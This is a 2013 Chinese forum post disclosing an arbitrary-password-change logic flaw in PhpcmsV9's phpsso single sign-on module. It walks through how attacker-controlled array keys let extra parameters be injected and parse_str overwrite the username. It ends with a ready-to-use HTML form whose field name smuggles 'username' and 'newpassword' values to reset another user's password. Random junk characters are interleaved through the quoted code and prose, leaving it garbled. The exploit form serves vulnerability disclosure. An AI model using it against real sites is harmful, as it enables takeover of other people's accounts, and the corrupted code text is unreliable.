找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
. e5 y2 ^' k4 ?- G) n! v% w% y1 R

8 D+ y& g/ K) nparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);# N+ ~2 m8 a8 t, A) X8 B# w* C9 ^

+ p$ d4 e+ D) e, [1 I7 w在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
8 O9 Z) c: f9 e# Y& {0 q' W9 q
% V9 L4 m" ?! Q# u  ?" Y: I我把它留给了你们。* I: q5 I, g% |
不知道你们发现了它没有。
; F: U4 {; o* {" o, y' u( r* S' I* Q- k/ t1 m/ c
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( j4 ?& s* O5 {

/ Z- |& z2 j3 C+ f5 h; k所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
8 S( N. y6 q6 F5 L* e
6 `' R, a2 F0 i! T1 Q也就是" v! g0 q. h* S3 Q
1 b: e1 B, o  k; @
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ w* _/ b# m! C# U0 E( h2 J
) q' R& Q5 L# q' I& J要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
  T8 v* h3 a( Q5 s* b6 ^
2 [4 `6 ?) z4 _' K9 E# n6 K! A' {% v$ j' u! Y  l1 I
其实我们有这样的机会,看看代码,如下:
, S" |1 `# @1 ?5 l/ m  X) s
8 ?) I: _2 I2 {5 x8 A# L5 ^$ S7 n7 _& V3 {' h1 R
public function auth_data($data) {  X, ]+ C# z: [0 u
                $s = $sep = '';
7 W$ U; o) Q8 T0 e( E/ h9 I                foreach($data as $k => $v) {3 B% r" F7 I) @: z/ S4 O8 c$ T
                        if(is_array($v)) {
) {  ?! S4 ]0 I: b                                $s2 = $sep2 = '';# w  {; F% m7 p9 Y  d% h+ p
                                foreach($v as $k2 => $v2) {
1 b8 [* ?' J0 c/ x; f6 f, h3 \                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);5 m; l1 N- d' \( r1 H
                                        $sep2 = '&';
7 h9 A" n9 W- i, Y8 r+ \( X% C                                }
  t6 s* R2 u, {) T0 b6 Z  B  u8 c                                $s .= $sep.$s2;. h5 q& [1 h( X: B0 T" c& u
                        } else {
3 P# z  ^9 k/ _                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
1 D+ A1 X# K! S) h: i                        }" T7 K5 Q& x: D) w" B9 k# G' U9 ]
                        $sep = '&';
# l7 f/ q6 m/ ?                }
4 Z9 I9 M% Q8 j2 F7 M" ^0 D
' |5 f! y6 j$ A- E' x                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));. P$ W8 i2 @; y% n
                return $auth_s;
8 I4 A- a& u' I% y! X        }
) c' f+ |8 j+ X6 [* m9 _
3 J  N8 [$ A! j% x  ^9 Y/ r可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- s4 y, Z7 m6 U& t  \' U
! j7 M3 r5 t& M! w% w% m" L6 G
举个例子
8 Y" q! a$ Q6 Y6 M1 o- _5 c
+ t! `3 a4 d9 s5 ]$a[aaa=a&bbb] = 'a';
% K# H9 C: V+ ]$ R* b; S# U: {6 z
会变成aaa=a&bbb=a, S4 f5 q2 J6 N8 G
, f* }- Z7 y; X* O+ m2 x7 O
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
6 {/ R+ t" @8 e& B4 [; c' f8 `7 a9 t# }. X
这个时候,我们可以再去看一个函数。+ J9 ?$ @! `- i2 p# `
/ P3 W* E8 C- {% S2 Y! r
就在这个文件内:1 C, Y9 j7 j( E, p

+ c0 R) z$ ]: Y  U
4 Z6 B- \: O, I7 P0 c, zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {% ^9 y' x: b3 S+ Y" X
                if($email && !$this->_is_email($email)) {: ]! F" B  B/ {
                        return -4;
  J7 P' B; h: d+ U+ Z  P                }
: F5 m  c$ ], c" Y                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));9 ]7 |" i4 B' z0 z
        }
9 H; ^; [$ L4 U/ o
/ b' m0 k6 `6 J; `( J; K4 X  E这是向通行证发了这样一个请求。
% Z- s" M5 i& W- |/ i( {' a. w/ V' d  u
我们再跟到通信证代码里去看看,就会有所发现。' z+ N) |" C* R% k3 X" f

+ {& j- l3 g9 ?7 ?, ?, `5 e; E$ v# D9 o' u; v% m6 o( W# G
public function edit() {
8 Q. }- P8 E3 E/ T3 S, D//能省就省,太长了不是吗?
! p+ n2 Y% W; w! k+ m" ], |, @$ Z
% O0 T' V7 O/ I; D# Jif($this->username) {
: Y  |8 ]: r* d, c$ j6 t: x//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
2 n0 u4 f# j, h' N5 N                                $res = $this->db->update($data, array('username'=>$this->username));
1 f( B: J' A% Q3 n  x7 c# {+ G                        } else {7 o, V9 H% H) u9 F" K7 f
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
% Z! z) h5 L/ S, m- o* h! d1 J1 D: N                                $res = $this->db->update($data, array('uid'=>$this->uid));
& ^0 G9 A& c- a3 v, D1 `+ r                        }& r0 O. A0 u9 x) _0 C# C
. F% d" i+ f+ }) t; K$ @1 Z
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
% @( ~. q, x- y: e( n, E" U- G/ {* P1 @' L; _) ^) m3 N" x( R! K% I
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
  f8 u7 K+ s3 K& v& M. _0 f, l/ O7 ^6 l) ?0 g* L4 S2 ~4 {
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
* t5 [2 w; N# q  u6 u
2 I3 t6 p! k2 y6 E  S我当然找到了:
6 r6 ^6 C* a- {6 X" A+ P* Z& Mphpcms9/phpcms/modules/member/index.php
0 ?- _8 z7 L2 m+ p& y) B  b/ m  Q, u( G5 U
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
5 ^2 m. z4 I! t. c/ H2 K( w* V% s0 a6 ~
然后就没有然后了。
7 d- D/ o: y& W2 C; O9 ]
/ ^& v  w/ J- A<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
, r! @0 w# f0 [                                <table width="100%" cellspacing="0" class="table_form">  `# u9 M6 Q, o1 N
                                        <tr>
) C$ _' F' U7 W6 Y                                                <th width="80">邮箱:</th>        
) z6 H; G2 i: P8 R0 r6 e                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>! X) Z4 B4 Q& T+ n
                                        </tr>
" C' I  v- i# W$ R) b# r5 I) k                                        <tr>! y( |% n9 h7 }
                                                <th width="80">原密码:</th>        
; ^8 p, o. K0 s) x" X) I' S1 u! L                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
: f& N& n( M, ~# ~                                        </tr>
* k" q* ]% `, q- s" _5 g  f1 H                                        <tr>
3 W; n: w+ B  Y4 n% s& D                                                <th>新密码:</th>
4 E9 f, h" |. }) K! p4 a                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>9 w/ u9 A& i; {7 H5 v
                                        </tr>
; J7 T. \% U# D) F6 [1 r/ Q. z                                        <th></th>
: z, f# ^" _3 E                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
& L7 S* C0 C* l+ l$ J4 ^                                        </tr>( C, i$ x4 m7 ]) R0 ?
                                </table>  i4 G/ k: E: D. a
# Z; w; G7 K& u7 m8 ?
                               
- s+ }$ [% z) d- r1 t# z                        </form>
# f* O* O$ e1 L6 ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表